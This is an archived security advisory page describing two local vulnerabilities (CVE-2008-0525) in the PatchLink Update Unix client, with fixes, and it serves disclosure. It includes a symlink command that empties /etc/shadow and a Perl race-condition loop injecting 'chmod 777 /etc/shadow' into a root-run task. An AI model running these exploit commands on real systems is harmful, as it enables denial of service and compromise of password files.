SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Two vulnerabilities for PatchLink Update Client for Unix.


Arrow  SecurityAlert : 3599
Arrow  CVE : CVE-2008-0525
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Exploit Available : Yes
Arrow  Credit : lcashdol
Arrow  Published : 02.02.2008

Arrow  Affected Software :
PatchLink



Arrow  Advisory Content :  


PatchLink Update Unix Client File clobbering vulnerability

Larry W. Cashdollar

Vapid Labs

1/17/2008

Overview From the vendor:

?PatchLink Update? provides rapid, accurate and secure patch management,
allowing you to proactively manage threats by automating the collection,
analysis and delivery of patches throughout your enterprise. PatchLink
Update significantly decreases the costs involved in securing your
organization from worms, Trojans, viruses and other malicious threats.?

http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443

Vulnerability

The log rotation utility ?logtrimmer? utilizes space in /tmp improperly and
is subject to a symlink attack. By creating a targeted symlink a non root
user can clobber root owned files causing DoS.

Exploit

nobody:/tmp> ln -s /etc/shadow patchlink.tmp

After logs are rotated

/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer
after the log rotation process has finished.

Fix

Create a subdirectory under /tmp or /var/tmp to work from.

For example adding:

mkdir /var/tmp/plink

chmod 700 /var/tmp/plink

Second Vulnerability:

The script rebootTask contains the following lines for HP-UX Shutdown and
reboot:

echo "shutdown -r -y 120" > /tmp/plshutdown

chmod 500 /tmp/plshutdown

at now < /tmp/plshutdown

A race condition exists where a local user could symlink /tmp/plshutdown to
a file in their home directory and inject malicous code. This could be done
possibly by continuously writing to the file while waiting for the at
command to run.

$ ln -s /tmp/plshutdown /var/tmp/runme

#/bin/perl

while(1){

`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;

}

Also could be fixed by creating a subdirectory to work from under /var/tmp
or /tmp.

http://vapid.dhs.org






Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

» PHP 5.3.0 5.2.11
   posix_mkfifo()
   open_basedir bypass

Copyright © SecurityReason.com. All Rights Reserved.